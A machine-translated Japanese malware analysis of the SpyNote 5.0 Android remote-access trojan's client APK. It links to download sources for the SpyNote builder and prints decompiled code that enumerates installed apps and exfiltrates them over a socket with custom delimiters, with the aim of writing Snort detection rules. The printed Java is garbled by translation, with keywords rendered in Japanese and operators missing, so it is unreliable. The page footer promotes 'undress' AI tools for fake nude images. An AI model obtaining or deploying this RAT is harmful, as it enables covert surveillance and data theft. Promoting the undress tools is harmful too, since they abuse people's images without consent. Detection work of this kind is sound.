SpyNote5.0 Client_APKの逆解析を行う方法
1. SpyNote5.0 とは何ですか?
SpyNote は、Android の悪意のあるプログラムを作成するために使用されるツールです。その機能は非常に目を引くもので、連絡先の読み取り、記録、コマンドの実行、アプリケーションの管理、キーボードの記録、GPS 測位の実行などが含まれますが、これらに限定されません。これらの機能は、Android マルウェアを研究する際に重要な役割を果たします。 「SpyNote V5.0 グラフィカル ツール リモート管理 Android フォン チュートリアル」、「Android トロイの木馬ツール SpyNote は無料なので注意してください!」という一連の記事を通じて、その使用方法を予備的に理解することができます。遠隔監視はとても簡単です」、「Android の遠隔操作 (スパイノート) がバージョンアップしたので注意してください...」など。
2. ツールの準備
SpyNote5.0 Client_APK の逆解析に興味がある人は少ないと思いますので、以下でツールの使い方を簡単に紹介し、その後、逆解析プロセスを開始します。
1. SpyNote5.0
ダウンロード アドレス: https://github.com/soDLL/SpyNote または https://github.com/miladzero/SpyNote
2、jadx-gui
ダウンロード アドレス: https://github.com/skylot/jadx/releases
3. androidkiller
ダウンロード アドレス: https://www.guguzhu.com/soft/270509.html
3. 逆解析の開始
Client_APK の分析を開始します。通常は、クライアントによって生成された APK プログラムを androidkiller にドラッグします。プログラムを AndroidKiller にドラッグすると、自動的にプログラムが逆アセンブルされ、解析結果が生成されます。
左側では、アクティビティ、レシーバー、サービス、アプリケーション権限 (Uses-Permission) が継承関係に従って分類されており、クライアントが多くのアプリケーション権限を必要としていることがわかります。 。右側には smail アセンブリ ウィンドウとワークベンチがあります。このツールは、権限やさまざまな継承関係を明確に表示できますが、ツールのバージョンが低いため、コードの復元が十分に完了していません。ツールを変更してjadx-guiを使用し、リバースエンジニアリングを開始してClient_APKをインポートしました。
android.support、con.eset.ems2.gp、yps.eton.application という 3 つのパッケージが表示されます。このうち、android.support は、下位バージョン、v4、および v7 を含む Android サポート パッケージであり、con.eset.ems2.gp は、host、client_name およびその他の情報を含む構成パッケージです。分析する必要があります。
yps.eton.application を開くと 14 個のクラスが表示されますが、解析する必要があるコードが多いため、いくつかの重要なコードを重点的に解析しています。
前述の androidkiller の分析構造から、クラス A、F、G、k の記述が Service を継承し、Service がバックグラウンドでの継続的な実行を表すことがわかります。アンドロイドシステム。推測してみましょう。Client_APK で実行を続けるには何が必要でしょうか?おそらく、主要なオブジェクトは継続的に実行、制御、監視、マルチスレッド化などされるでしょう。私たちの分析は、その機能の一部とトラフィックの識別方法に焦点を当てています。
3.1 コマンド実行起動分析
メソッド A から開始し、最初にサービスを開始し、次に R オブジェクトを走査して 3 番目の要素を取得します。それが 1 に等しい場合は、j( ) 関数。それ以外の場合は、a() がインスタンス化されているかどうかを確認してからサービスを開始します。その後、j() に root 権限があるかどうかの判断が続けられます。
j() の確認を続けます。j() で su コマンドを実行した後、Do I have root? をファイル /system/sd/temporary.txt に書き込みます。 . ルート権限があるかどうかを確認します。
次に、h() を見てみましょう。これは、マルチスレッドを使用して R オブジェクトに格納されている構成パラメーターを取得し、ループとソケットを使用して情報を返します。
3.2 Base64エンコードアプリケーションの部分機能解析
オブジェクトAのインポートリストを見ると、android.util.Base64が含まれていることがわかりました。 、操作中に Base64 エンコードが使用されることを示します。次に、キーワード Base64 を検索すると、Base64 が ((BitmapDrawable) applicationIcon).getBitmap() でラップされていることがわかります。これは実際には内部のアプリケーション アイコンです。クライアントは、9xf89fff9xf89 で終わる c0c1c3a2c0c1c セグメンテーションを通じて一部の情報を渡し、例外情報とオプションに fxf0x4x4x0fxf を使用します。
<br>
<br>
public void k() { new Thread(new Runnable() { public void run() { String str; try { StringBuffer stringBuffer = new StringBuffer() ; PackageManager packageManager = A.this.getApplicationContext().getPackageManager( ); for (ApplicationInfo applicationInfo : packageManager.getInstalledApplications(128)) { if (packageManager.getLaunchIntentForPackage(applicationInfo.packageName) != null && !packageManager.getLaunchIntentForPackage (applicationInfo.packageName).equals("")) { try { Date date = new Date(packageManager.getPackageInfo(applicationInfo.packageName, 4096).firstInstallTime); String str2 = packageManager.getLaunchIntentForPackage(applicationInfo.packageName) != null ? (applicationInfo.flags & 1) == 1 ? "システム" : "ユーザー" : ""; Drawable applicationIcon = packageManager.getApplicationIcon(applicationInfo.packageName);文字列 str3 = 新しい文字列(); if (applicationIcon != null) { ビットマップ bitmap = ((BitmapDrawable) applicationIcon).getBitmap(); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); bitmap.compress(CompressFormat.JPEG, 50, byteArrayOutputStream); str = Base64.encodeToString(byteArrayOutputStream.toByteArray(), 2); } else { str = str3; } stringBuffer.append(packageManager.getApplicationLabel(applicationInfo) "c0c1c3a2c0c1c" applicationInfo.packageName "c0c1c3a2c0c1c" str "c0c1c3a2c0c1c" str2 "c0c1c3a2c 0c1c" date.toString() "c0c1c3a2c0c1c" A.this.getPackageName() "9xf89fff9xf89"); catch (NameNotFoundException e) { A.this.h("applicationsfxf0x4x4x0fxf[My/Exception]" e.getMessage().toString()); } } } A.this.h("applicationsfxf0x4x4x0fxf" stringBuffer.toString()); catch (例外 e2) { A.this.h("applicationsfxf0x4x4x0fxf[My/Exception]" e2.getMessage().toString()); } } })。始める(); }
3.3 情報取得部分機能分析
オブジェクト A には非常に長いメソッド b が含まれており、switch case ステートメントの分岐が多すぎるため、逆アセンブリで例外が発生します。コメントから、情報を取得するためのロジックのほとんどがコメント内に実装されていることがわかります。例: デバイス情報、システム情報、Sim 情報、WIFI 情報など。ツールによって促進される機能も含まれます。
#ストレージ パスを取得するために使用されるメソッド b の書き換えには、注目に値する点がいくつかあります。伝送路情報のデリミタはe1x1114x61114eを使用します。ファイル名情報の区切り文字には、-1c0c1c3a2c0c1c-1c0c1c3a2c0c1c-1c0c1c3a2c0c1c が使用されます。この情報を使用すると、配信中のクライアントの操作をより正確に判断できます。
4. 概要
分析プロセス中に、各関数の実装を確認できます。クライアントが非暗号化および Base エンコードの送信を使用する場合、最も注目すべき機能は区切り文字の出現です。クライアントの送信動作はプログラムを通じて効果的に判断できます。したがって、パケットは送信プロセス中にキャプチャされます。
区切り記号と Base64 エンコードの内容が図ではっきりと確認できます。この点については、Snort で識別用のルールを記述することができます。 )
以上がSpyNote5.0 Client_APKの逆解析を行う方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック







